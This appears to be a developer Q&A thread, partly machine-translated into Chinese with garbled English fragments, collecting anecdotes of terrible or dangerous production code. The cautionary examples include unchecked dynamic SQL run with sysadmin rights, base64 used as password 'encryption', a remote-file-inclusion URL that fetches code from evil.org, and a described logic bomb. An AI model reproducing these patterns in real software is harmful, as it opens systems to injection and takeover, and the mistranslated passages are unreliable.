你在生产企业环境中见过的最多的EVIL代码是什么?

你在公司的生产环境中见过的最邪恶或危险的代码片段是什么? 我从来没有遇到过我认为是故意恶意和恶意的生产代码,所以我很好奇,看看别人发现了什么。

我见过的最危险的代码是远离核心生产数据库服务器的两个链接服务器的存储过程。 存储过程接受任何NVARCHAR(8000)参数,并通过双跳sp_executeSQL命令在目标生产服务器上执行该参数。 也就是说,sp_executeSQL命令执行另一个sp_executeSQL命令来跳转两个链接的服务器。 哦,并且链接的服务器帐户在目标生产服务器上具有sysadmin权限。

警告:长时间可怕的post

我在这里和这里之前写过一个我曾经工作过的应用程序。 简而言之,我的公司从印度inheritance了13万行垃圾。 该应用程序是用C#编写的; 这是一个出纳应用程序,每当你去银行,同样的软件出纳员在柜台后面使用。 该应用程序每天崩溃40-50次,它根本无法重构成工作代码。 我的公司不得不在12个月内重写整个应用程序。

为什么这个应用程序邪恶? 因为对源代码的看法足以让一个理智的男人发疯,一个疯狂的男人理智。 用来编写这个应用程序的扭曲的逻辑可能只是受到Lovecraftian噩梦的启发。 这个应用程序的独特function包括:

  • 在130,000行代码中,整个应用程序包含5个类(不包括表单文件)。 所有这些都是公共静态类。 一个类被称为Globals.cs,它包含1000个和1000个和1000个公共静态variables,用于保存应用程序的整个状态。 这五个类共包含20,000行代码,其余代码embedded表单中。

  • 你不得不怀疑,程序员是如何设法写出这样一个大的应用程序没有任何类? 他们用什么来表示他们的数据对象? 事实certificate,程序员通过将ArrayLists,HashTables和DataTables组合在一起,设法重新发明了我们所有关于OOP的一些概念。 我们看到很多这样的:

    • 哈希表ArrayLists
    • 带有string键和DataRow值的散列表
    • DataTables ArrayLists
    • 包含包含HashTables的ArrayLists的DataRows
    • DataRows ArrayLists
    • ArrayLists ArrayLists
    • 带有string键和HashTable值的HashTables
    • ArrayLists哈希表的ArrayLists
    • ArrayLists,HashTables,DataTables你可以想到的每一个其他组合。

    请记住,上面的数据结构都不是强types的,所以你必须把你从列表中获得的神秘对象转换成正确的types。 使用ArrayLists,HashTables和DataTables可以创build什么样的复杂Rube Goldberg数据结构真是太棒了。

  • 要分享如何使用上面详细介绍的对象模型的例子,请考虑帐户:原始程序员为每个帐户的每个concievable属性创build一个单独的HashTable:一个名为hstAcctExists,hstAcctNeedsOverride,hstAcctFirstName的HashTable。 所有这些哈希表的键都是一个“|”分隔的string。 可想到的键包括“123456 | DDA”,“24100 | SVG”,“100 | LNS”等

  • 由于整个应用程序的状态很容易从全局variables中获得,程序员发现没有必要将parameter passing给方法。 我会说90%的方法需要0个参数。 为数不多的,所有的参数都是为了方便而传递的,不pipestring是什么。

  • 不存在副作用自由function。 每个方法都修改Globals类中的一个或多个variables。 并非所有的副作用都是有道理的。 例如,表单validation方法之一有一个神秘的副作用,计算无论帐户被存储在Globals.lngAcctNum的贷款和短期付款。

  • 尽pipe有很多forms,但还是有一种forms来统治它们:frmMain.cs,其中包含大量20,000行代码。 frmMain做什么? 一切。 它抬头看账户,打印收据,发放现金,它做了一切。

    有时需要调用frmMain方法的其他forms。 为什么不直接调用代码,而不是将这些代码从表单中分离出来:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues); 
  • 查看账户,程序员做了这样的事情:

     bool blnAccountExists = new frmAccounts().GetAccountInfo().blnAccountExists 

    尽pipe它已经创造了一种无形的forms来执行业务逻辑,但您认为该表单知道哪个帐户要查找? 这很简单:表单可以访问Globals.lngAcctNum和Globals.strAcctType。 (谁不爱匈牙利符号?)

  • 代码重用是ctrl-c,ctrl-v的同义词。 我发现200行方法复制/粘贴20个表格。

  • 该应用程序有一个奇怪的线程模型,我喜欢称之为线程和计时器模型:每个形成一个线程的表单上都有一个计时器。 每个产生的线程都启动了一个延时为200毫秒的定时器; 一旦定时器启动,它会检查线程是否设置了一些魔术布尔值,然后会中止线程。 由此产生的ThreadAbortException被吞下。

    你会认为你只能看到这个模式,但是我发现它至less在10个不同的地方。

  • 说到线程,关键字“锁”从未出现在应用程序中。 线程自由操作全局状态而不locking。

  • 应用程序中的每个方法都包含一个try / catch块。 每个exception都被logging下来并被吞噬。

  • 当打开string时,谁需要打开枚举也一样简单!

  • 一些天才发现,你可以挂钩多个表单控件到同一个事件处理程序。 程序员是如何处理这个的?

     private void OperationButton_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (blnModeIsAddMc) { AddMcOperationKeyPress(btn); } else { string strToBeAppendedLater = string.Empty; if (btn.Name != "btnBS") { UpdateText(); } if (txtEdit.Text.Trim() != "Error") { SaveFormState(); } switch (btn.Name) { case "btnC": ResetValues(); break; case "btnCE": txtEdit.Text = "0"; break; case "btnBS": if (!blnStartedNew) { string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1); DisplayValue((EditText == string.Empty) ? "0" : EditText); } break; case "btnPercent": blnAfterOp = true; if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false); decCurrValue = decResultValue * decCurrValue / intFormatFactor; DisplayValue(GetValueString(decCurrValue)); AddToTape(GetValueString(decCurrValue), string.Empty, true, false); strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20) + strOpPressed.PadRight(3); if (arrLstTapeHist.Count == 0) { arrLstTapeHist.Add(strToBeAppendedLater); } blnEqualOccurred = false; blnStartedNew = true; } break; case "btnAdd": case "btnSubtract": case "btnMultiply": case "btnDivide": blnAfterOp = true; if (txtEdit.Text.Trim() == "Error") { btnC.PerformClick(); return; } if (blnNumPressed || blnEqualOccurred) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (Operation()) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue(GetValueString(decResultValue)); } else { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue("Error"); } strOpPressed = btn.Text; blnEqualOccurred = false; blnNumPressed = false; } } else { strOpPressed = btn.Text; AddToTape(GetValueString(0), (string)btn.Text, false, false); } if (txtEdit.Text.Trim() == "Error") { AddToTape("Error", string.Empty, true, true); btnC.PerformClick(); txtEdit.Text = "Error"; } break; case "btnEqual": blnAfterOp = false; if (strOpPressed != string.Empty || strPrevOp != string.Empty) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (OperationEqual()) { DisplayValue(GetValueString(decResultValue)); } else { DisplayValue("Error"); } if (!blnEqualOccurred) { strPrevOp = strOpPressed; decHistValue = decCurrValue; blnNumPressed = false; blnEqualOccurred = true; } strOpPressed = string.Empty; } } break; case "btnSign": GetValueDecimal(txtEdit.Text, out decCurrValue); DisplayValue(GetValueString(-1 * decCurrValue)); break; } } } 
  • 同样的天才也发现了光荣的三元经营者。 以下是一些代码示例:

    frmTranHist.cs [line 812]:

     strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty : chkDebits.Checked ? "D" : chkCredits.Checked ? "C" : "N"; 

    frmTellTransHist.cs [line 961]:

     if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false)) 

    frmMain.TellCash.cs [line 727]:

     if (Validations(parPostMode == "ADD" ? true : false)) 
  • 这是一个代码片段,演示了StringBuilder的典型滥用情况。 请注意程序员如何在循环中连接一个string,然后将结果string追加到StringBuilder中:

     private string CreateGridString() { string strTemp = string.Empty; StringBuilder strBuild = new StringBuilder(); foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows) { strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' '); strTemp += " "; strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy"); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' '); strTemp += " "; strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62); strBuild.AppendLine(strTemp); } strCreateGridString = strBuild.ToString(); return strCreateGridString;//strBuild.ToString(); } 
  • 表中没有主键,索引或外键约束,几乎所有字段的types都是varchar(50),并且100%的字段可以为空。 有趣的是,位字段不用于存储布尔数据; 而是使用char(1)字段,字符“Y”和“N”分别用于表示true和false。

    • 说到数据库,下面是一个存储过程的代表性例子:

       ALTER PROCEDURE [dbo].[Get_TransHist] ( @TellerID int = null, @CashDrawer int = null, @AcctNum bigint = null, @StartDate datetime = null, @EndDate datetime = null, @StartTranAmt decimal(18,2) = null, @EndTranAmt decimal(18,2) = null, @TranCode int = null, @TranType int = null ) AS declare @WhereCond Varchar(1000) declare @strQuery Varchar(2000) Set @WhereCond = ' ' Set @strQuery = ' ' If not @TellerID is null Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar) If not @CashDrawer is null Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar) If not @AcctNum is null Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar) If not @StartDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + '''' If not @EndDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + '''' If not @TranCode is null Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar) If not @EndTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar) If not @StartTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar) If not (@TranType is null or @TranType = -1) Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar) --Get the Teller Transaction Records according to the filters Set @strQuery = 'SELECT TT.TranAmt as [Transaction Amount], TT.TranCode as [Transaction Code], RTrim(LTrim(TT.TranDesc)) as [Transaction Description], TT.AcctNbr as [Account Number], TT.TranID as [Transaction Number], Convert(varchar,TT.ActivityDateTime,101) as [Activity Date], Convert(varchar,TT.EffDate,101) as [Effective Date], Convert(varchar,TT.PostDate,101) as [Post Date], Convert(varchar,TT.ActivityDateTime,108) as [Time], TT.BatchID, TT.ItemID, isnull(TT.DocumentID, 0) as DocumentID, TT.TellerName, TT.CDId, TT.ChkNbr, RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr, (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode, DispensedYN FROM TellerTrans TT WITH (NOLOCK) LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID' Exec (@strQuery) 

尽pipe如此,这个130,000行应用程序的最大的单个问题是:没有unit testing。

是的,我把这个故事发给了TheDailyWTF,然后我辞掉了工作。

我见过这样的密码encryptionfunction

 function EncryptPassword($password) { return base64_encode($password); } 

在一个采用信用卡支付的系统中,我们用来存储完整的信用卡号码以及姓名,到期date等。

事实certificate,这是非法的,因为当时我们正在为司法部编写程序。

这是一个商业代码中的error handling例程:

 /* FIXME! */ while (TRUE) ; 

我应该找出为什么“该应用程序保持locking”。

以下所有Php'Features'组合在一起。

  1. 注册全局
  2. variablesvariables
  3. 通过include(“http:// …”)包含远程文件和代码
  4. 真正可怕的数组/variables名称(文字示例):

     foreach( $variablesarry as $variablearry ){ include( $$variablearry ); } 

    (我真的花了一个小时,试图弄清楚如何工作之前,我意识到他们wern't相同的variables)

  5. 包含50个文件,每个文件包含50个文件,并且以条件和不可预知的方式在所有50个文件中以线性/程序方式执行内容。

对于那些不了解variables的人:

 $x = "hello"; $$x = "world"; print $hello # "world" ; 

现在考虑$ x包含来自你的URL(注册全局魔术)的值,所以你的代码中没有任何明显的variables你的工作原因是由url决定的。

现在考虑一下当这个variables的内容可以是网站用户指定的url时会发生什么。 是的,这可能对你没有意义,但它创build了一个名为该URL的variables,即:

$http://google.com

除了不能直接访问,你必须通过上面的double $技术来使用它。

另外,如果用户可以在URL上指定一个variables来指示哪个文件包含,那么就有一些令人讨厌的技巧

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

如果这个variables出现在include($include)

和'evilcode.php'打印它的代码明文,并且Php被不恰当的保护,php只是简单地下载,下载evilcode.php,并作为Web服务器的用户执行它。

networking服务器会给它所有的权限等等,允许shell调用,下载任意二进制文件并运行它们等等,直到最终你想知道为什么你的磁盘空间不足,一个dir有8GB的盗版电影意大利语配音,通过机器人在IRC上分享。

我只是感谢我发现,在脚本运行之前的暴行决定做一些非常危险的事情,比如从或多或less不安全的数据库中收集极其机密的信息。

(我可以每天用这个代码库来娱乐每天的6个月,我不认识你,只是遗憾的是我逃过代码之后发现了这个日志)

在主要的项目头文件中,来自一位老式的COBOL程序员,这个程序员莫名其妙地在C:

 int i, j, k; 

“所以如果你忘记声明你的循环variables,你将不会得到编译器错误。”

Windows安装程序。

这篇文章如何编写不可维护的代码涵盖了一些人所知的最辉煌的技术。 我最喜欢的一些是:


宝贝名称的新用途

购买一本婴儿命名书的副本,你永远不会为variables名称的损失。 弗雷德是一个美好的名字,而且很容易打字。 如果您正在寻找易于input的variables名称,请使用DSK键盘进行input,请尝试使用adsf或aoeu。

创意小姐拼写

如果你必须使用描述性的variables和函数名,拼错它们。 通过在某些函数和variables名中拼写错误,并在其他语言中正确拼写(如SetPintleOpening SetPintalClosing),我们实际上否定了使用grep或IDEsearch技术。 它工作得非常好。 通过在不同的剧院/剧院拼写tory或tori添加国际风味。

是摘要

在命名函数和variables时,大量使用抽象词,例如X48,PerformDataFunction,DoIt,HandleStuff和do_args_method,以及所有的数据,句柄,东西,

大写

随机大写一个字中间的一个音节的第一个字母。 例如ComputeRasterHistoGram()。

小写字母l看起来像数字1

使用小写l来表示长常量。 例如10l更可能被误认为10L是101。 禁止任何明显使uvw消除歧义的字体ww gq9 2z 5s il17 |!j oO08`'“;,。m nn rn {[()]}

回收你的variables

无论范围规则允许,重复使用现有的无关variables名称。 同样,为两个不相关的目的使用相同的临时variables(声称保存堆栈槽)。 对于恶魔变体,例如,将variables变形,例如,将一个值赋给一个非常长的方法顶部的variables,然后在中间的某处,以一种微妙的方式改变variables的含义,比如将其从基于0的坐标到基于1的坐标。 一定不要logging这个意义上的变化。

镉与wwtt vwls s mch trsr

当在variables名称或方法名称中使用缩写时,用同一个单词的几个变体来打破厌倦,甚至拼写出一个单词。 这有助于打败那些使用文本search的懒惰的stream浪汉来理解你的程序的某些方面。 考虑变形拼写作为一种变形,例如混合国际色彩,美国色彩和花花公子说话kulerz。 如果你拼写完整的名字,拼写每个名字只有一个可能的方法。 这对维护程序员来说太容易记住了。 因为缩写词有很多不同的缩写forms,所以可以有几个不同的variables都具有相同的明显目的。 作为额外的好处,维护程序员可能甚至不会注意到它们是单独的variables。

模糊的电影参考

使用常量名称,如LancelotsFavouriteColour而不是蓝色,并为其分配hex值$ 0204FB。 屏幕上的颜色看起来与纯蓝相同,维护程序员必须编制0204FB(或使用某种graphics工具)来了解其外观。 只有熟悉巨蟒和圣杯的人才会知道兰斯洛特最喜欢的颜色是蓝色的。 如果一个维护程序员不能从内存中引用整个Monty Python电影,他或她就没有任何程序员的职责。

logging明显

用类似于/ *的注释将代码添加到代码中,但是,从来没有像包或方法的总体目的那样logging毛发的东西。

文件如何不为什么

只logging一个程序的细节,而不是它试图完成的事情。 这样,如果有错误,修复程序将不知道代码应该做什么。

副作用

在C中,函数应该是幂等的(没有副作用)。 我希望这个提示是足够的。

使用八进制

将八进制文字窜改成十进制数字列表,如下所示:

 array = new int [] { 111, 120, 013, 121, }; 

扩展的ASCII

扩展的ASCII字符作为variables名称是完全有效的,包括ß,Ð和ñ字符。 如果没有在简单的文本编辑器中进行复制/粘贴,他们几乎是不可能的。

来自其他语言的名字

使用外语词典作为variables名称的来源。 例如,使用德国punkt的点。 维护编码人员如果没有德文的掌握,将会享受破译意义的多元文化体验。

math名称

select伪装成math运算符的variables名称,例如:

 openParen = (slash + asterix) / equals; 

伪装作为评论和副本的代码

包括注释掉的部分代码,但乍一看似乎不是。

 for(j=0; j<array_len; j+ =8) { total += array[j+0 ]; total += array[j+1 ]; total += array[j+2 ]; /* Main body of total += array[j+3]; * loop is unrolled total += array[j+4]; * for greater speed. total += array[j+5]; */ total += array[j+6 ]; total += array[j+7 ]; } 

如果没有颜色编码,你会注意到三行代码被注释掉了吗?

伪装成关键词的任意名称

当logging,并且你需要一个任意的名字来代表一个文件名使用“文件”。 切勿使用“Charlie.dat”或“Frodo.txt”等明显的任意名称。 一般来说,在你的例子中,使用与保留关键字尽可能相似的任意名称。 例如,参数或variables的好名字是“bank”,“blank”,“class”,“const”,“constant”,“input”,“key”,“keyword”,“kind”,“output” ,“参数”,“参数”,“系统”,“types”,“值”,“variables”和“variables”。 如果你为你的任意名字使用实际的保留字,那么你的命令处理器或者编译器会拒绝这个名字,那么更好。 如果你这样做的话,用户会在你的例子中被保留的关键字和任意名字混淆,但你可以看起来无辜,声称你是帮助他们将适当的目的与每个variables联系起来的。

代码名称不得与屏幕名称匹配

selectvariables名与屏幕上显示这些variables时使用的标签完全没有关系。 例如在屏幕上标记字段“邮政编码”,但在代码中调用相关variables“zip”。

select最佳的过载运算符

在C ++中,重载+, – ,*,/要做与加法,减法等完全无关的事情。毕竟,如果Stroustroup可以使用移位运算符来做I / O,为什么你不应该同样有创造性? 如果你超载+,确保你以i = i + 5的方式来做; 与i + = 5具有完全不同的含义; 这是一个提升重载操作符混淆到高级艺术的例子。 重载“!” 一个class级的操作员,但有过载与倒置或否定无关。 让它返回一个整数。 然后,为了得到它的逻辑值,你必须使用'! !”。 但是,这反转逻辑,所以[鼓卷]你必须使用'! ! !”。 不要混淆! 运算符,它使用〜按位逻辑否定运算符返回一个布尔0或1。

例外

我要让你知道一个鲜为人知的编码秘密。 例外是背后的痛苦。 正确编写的代码永远不会失败,所以exception实际上是不必要的。 不要浪费时间在他们身上。 子类exception是知道他们的代码将失败的无知者。 你可以通过在调用System.exit()的整个应用程序(main)中只有一个try / catch来大大简化你的程序。 只要在每个方法头上贴上一套完美标准的抛出,他们是否可以抛出任何exception。

魔术matrix位置

在某些matrix位置使用特殊值作为标志。 一个不错的select是用于齐次坐标系统的变换matrix中的[3] [0]元素。

魔术arrays插槽重新访问

如果您需要给定types的多个variables,只需定义它们的数组,然后通过编号访问它们。 select一个只有你知道并且不logging的编号约定。 而且不要为索引定义#define常量。 每个人都应该知道全局variables部件[15]是取消button。 这只是在汇编代码中使用绝对数字地址的最新版本。

永远不会美化

切勿使用自动源代码整理器(美化)来保持您的代码alignment。 大厅让他们禁止他们离开你的公司,理由是他们在PVCS / CVS(版本控制跟踪)中创造了错误的三angular洲,或者每个程序员都应该有他自己的缩进风格,对于他写的任何模块都永远神圣不可侵犯。 坚持其他程序员在“他的”模块中观察这些特殊的惯例。 禁止美化是非常容易的,尽pipe他们节省了数百万次的手动alignment的键击,并且浪费了时间来误解糟糕alignment的代码。 只要坚持每个人都使用相同的整理格式,不仅仅是为了存储在公共存储库中,而且还在编辑时。 这开始RWAR和老板,保持和平,将禁止自动整理。 如果没有自动整理,你现在可以自由地将代码错位,给出错觉,循环和ifs的实体比实际长或短,或者其他子句匹配不同的实际情况。 例如

 if(a) if(b) x=y; else x=z; 

testing是为了懦夫

勇敢的编码器将绕过这一步。 太多的程序员害怕老板,害怕失去工作,怕顾客憎恨邮件,害怕被起诉。 这种恐惧使行动瘫痪,并降低生产力。 研究表明,取消testing阶段意味着pipe理人员可以提前设定出货date,这在计划过程中是一个明显的帮助。 随着恐惧消失,创新和实验可以开花。 程序员的职责是生成代码,debugging可以由帮助台和传统维护组合作完成。

如果我们对编码能力充满信心,那么testing将是不必要的。 如果我们从逻辑上来看,那么任何傻瓜都可以认识到,testing甚至不会试图解决一个技术问题,相反,这是一个情绪上的信心问题。 对于这种缺乏信心问题的更有效的解决scheme是彻底消除testing,并将我们的程序员送到自尊课程。 毕竟,如果我们select做testing,那么我们必须testing每个程序的变化,但是我们只需要把程序员送到一个build立自尊的课程中。 成本效益是显而易见的。

扭转通常的错误的公约

颠倒true和false的通常定义。 听起来很明显,但效果很好。 你可以隐藏:

 #define TRUE 0 #define FALSE 1 

在代码的深处,这样就可以从程序的内容中挖出一些没有人再看的文件。 然后强制程序进行比较,如:

 if ( var == TRUE ) if ( var != FALSE ) 

有人必须“纠正”表面冗余,并按照通常的方式在其他地方使用var:

 if ( var ) 

另一种方法是使TRUE和FALSE具有相同的价值,尽pipe大多数人会考虑这种欺骗行为。 使用值1和2或-1和0是一个更微妙的方式来绊倒人,仍然看起来很可敬。 通过定义一个名为TRUE的静态常量,可以在Java中使用这种相同的技术。 程序员可能会更加怀疑,因为在Java中有一个内置的真正的文字,所以你不会有什么好处。

利用精神分裂症

Java是关于数组声明的精神分裂症。 你可以使用旧的C,way String x [](它使用混合前缀后缀符号)或新的方式String [] x,它使用纯前缀符号。 如果你想真的让人混淆,那就把注释混合起来。

 byte[ ] rowvector, colvector , matrix[ ]; 

相当于:

 byte[ ] rowvector; byte[ ] colvector; byte[ ][] matrix; 

我不知道我是否会调用代码“邪恶”,但我们有一个开发人员将创buildObject[]数组,而不是编写类。 到处。

我已经看到(并发布到dailywtf)代码,将使每个人在周二的应用程序的重要部分拥有pipe理员权限。 我猜原始的开发者忘了在本地机器testing后删除代码。

我不知道这是不是“邪恶”,误导(我最近把它放在旧新事物上):

我知道一个喜欢将信息存储为分隔string的人。 他熟悉arrays的概念,正如他使用分隔string的arrays所显示的那样,但是灯泡从未亮起。

基础36编码存储string中的整数。

我想这个理论有点沿着以下的路线:

  • hex用于表示数字
  • hex不使用F以外的字母,这意味着GZ被浪费了
  • 浪费是不好的

在这一刻,我正在使用一个数据库来存储一个事件可能发生的星期几,它是一个7位字段(0-127),作为一个2字符的string存储在数据库中,范围从'0'到'3J'。

我记得看到一个login处理程序发出了一个请求,并redirect到一个GET的用户名和密码作为参数传入。 这是为了“企业级”的医疗体系。

我在查看一些日志时注意到了这一点 – 我非常想把CEO的密码发给他。

Really evil was this piece of brilliant delphi code:

 type TMyClass = class private FField : Integer; public procedure DoSomething; end; var myclass : TMyClass; procedure TMyClass.DoSomething; begin myclass.FField := xxx; // end; 

It worked great if there was only one instance of a class. But unfortunately I had to use an other instance and that created lots of interesting bugs.

When I found this jewel, I can't remember if I fainted or screamed, probably both.

Maybe not evil, but certainly rather, um… misguided.

I once had to rewrite a "natural language parser" that was implemented as a single 5,000 line if…then statement.

as in…

 if (text == "hello" || text == "hi") response = "hello"; else if (text == "goodbye") response = "bye"; else ... 

I saw code in an ASP.NET MVC site from a guy who had only done web forms before (and is a renowned copy/paster!) that stuck a client side click event on an <a> tag that called a javascript method that did a document.location.

I tried to explain that a href on the <a> tag would do the same!!!

A little evil…someone I know wrote into the main internal company web app, a daily check to see if he has logged into the system in the past 10 days. If there's no record of him logged in, it disables the app for everyone in the company.

He wrote the piece once he heard rumors of layoffs, and if he was going down, the company would have to suffer.

The only reason I knew about it, is that he took a 2 week vacation & I called him when the site crapped out. He told me to log on with his username/password…and all was fine again.

Of course..months later we all got laid off.

My colleague likes to recall that ASP.NET application which used a public static database connection for all database work.

Yes, one connection for all requests. And no, there was no locking done either.

I remember having to setup IIS 3 to run Perl CGI scripts (yes, that was a looong time ago). The official recommendation at that time was to put Perl.exe in cgi-bin. It worked, but it also gave everyone access to a pretty powerful scripting engine!

Any RFC 3514 -compliant program which sets the evil bit .

SQL queries right there in javascript in an ASP application. Can't get any dirtier…

We had an application that loaded all of it's global state in an xml file. No problem with that, except that the developer had created a new form of recursion.

 <settings> <property> <name>...</name> <value>...</value> <property> <name>...</name> <value>...</value> <property> <name>...</name> <value>...</value> <property> <name>...</name> <value>...</value> <property> <name>...</name> <value>...</value> <property> <name>...</name> <value>...</value> <property> 

Then comes the fun part. When the application loads, it runs through the list of properties and adds them to a global (flat) list, along with incrementing a mystery counter. The mystery counter is named something totally irrelevant and is used in mystery calculations:

 List properties = new List(); Node<-root while node.hasNode("property") add to properties list my_global_variable++; if hasNode("property") node=getNode("property"), ... etc etc 

And then you get functions like

 calculateSumOfCombinations(int x, int y){ return x+y+my_global_variable; } 

edit: clarification – Took me a long time to figure out that he was counting the depth of the recursion, because at level 6 or 7 the properties changed meaning, so he was using the counter to split his flat set into 2 sets of different types, kind of like having a list of STATE, STATE, STATE, CITY, CITY, CITY and checking if the index > counter to see if your name is a city or state)

Instead of writing a Windows service for a server process that needed to run constantly one of our "architects" wrote a console app and used the task scheduler to run it every 60 seconds.

Keep in mind this is in .NET where services are very easy to create.

Also, at the same place a console app was used to host a .NET remoting service, so they had to start the console app and lock a session to keep it running every time the server was rebooted.

At the last place I worked one of the architects had a single C# source code file with over 100 classes that was something like 250K in size.

32 source code files with more then 10K lines of code each. Each contained one class. Each class contained one method that did "everything"

That was real nightmare for debuging that code before I had to refactor that.

At an earlier workplace, we inherited a legacy project, which partially had been outsorced earlier. The main app was Java, the outsourced part was a native C library. Once I had a look at the C source files. I listed the contents of the directory. There were several source files over 200K in size. The biggest C file was 600 Kbytes .

Thank God I never had to actually touch them 🙂

I was given a set of programs to advance while colleagues were abroad at a customer (installing said programs). One key library came up in every program, and trying to figure out the code, I realised that there were tiny differences from one program to the next. In a common library.

Realising this, I ran a text comparison of all copies. Out of 16, I think there were about 9 unique ones. I threw a bit of a fit.

The boss intervened and had the colleagues collate a version that was seemingly universal. They sent the code by e-mail. Unknown to me, there were strings with unprintable characters in there, and some mixed encodings. The e-mail garbled it pretty bad.

The unprintable characters were used to send out data (all strings!) from a server to a client. All strings were thus separated by the 0x03 character on the server-side, and re-assembled client-side in C# using the Split function.

The somwehat sane way would have been to do:

 someVariable.Split(Convert.ToChar(0x03); 

The saner and friendly way would have been to use a constant:

 private const char StringSeparator = (char)0x03; //... someVariable.Split(StringSeparator); 

The EVIL way was what my colleagues chose: use whatever "prints" for 0x03 in Visual Studio and put that between quotes:

 someVariable.Split('/*unprintable character*/'); 

Furthermore, in this library (and all the related programs), not a single variable was local (I checked!). Functions were designed to either recuperate the same variables once it was deemed safe to waste them, or to create new ones which would live on for all the duration of the process. I printed out several pages and colour coded them. Yellow meant "global, never changed by another function", Red meant "global, changed by several". Green would have been "local", but there was none.

Oh, did I mention control version? Because of course there was none.

ADD ON: I just remembered a function I discovered, not long ago.

Its purpose was to go through an array of arrays of intergers, and set each first and last item to 0. It went like this (not actual code, from memory, and more C#-esque):

 FixAllArrays() { for (int idx = 0; idx < arrays.count- 1; idx++) { currArray = arrays[idx]; nextArray = arrays[idx+1]; SetFirstToZero(currArray); SetLastToZero(nextArray); //This is where the fun starts if (idx == 0) { SetLastToZero(currArray); } if (idx == arrays.count- 1) { SetFirstToZero(nextArray); } } } 

Of course, the point was that every sub-array had to get this done, both operations, on all items. I'm just not sure how a programmer can decide on something like this.

Similar to what someone else mentioned above:

I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant Select Case statement.

It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.

His solution?

He added a single object parameter on the end, so he could pass in anything he wanted and then cast it.

I couldn't get out of that place fast enough.

Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)

This was a miracle escape..

And since then, we have an automated build and deploy process, thankfully 🙂

I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.

You could do that on a pdp-10. That doesn't mean that you should.

EDIT: at least this is to the best of my (sometimes quite shabby) recollection.

I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.

The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).

It turns out that the system was checking the install.log file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don't pull configuration from a log file whose format is not actually defined. It gets worse, though.

It didn't store this data anywhere else, and every time it ran, which was every 60 seconds, it consulted install.log .

I'll just let you guess what happened the first time somebody decided to delete this otherwise useless log file.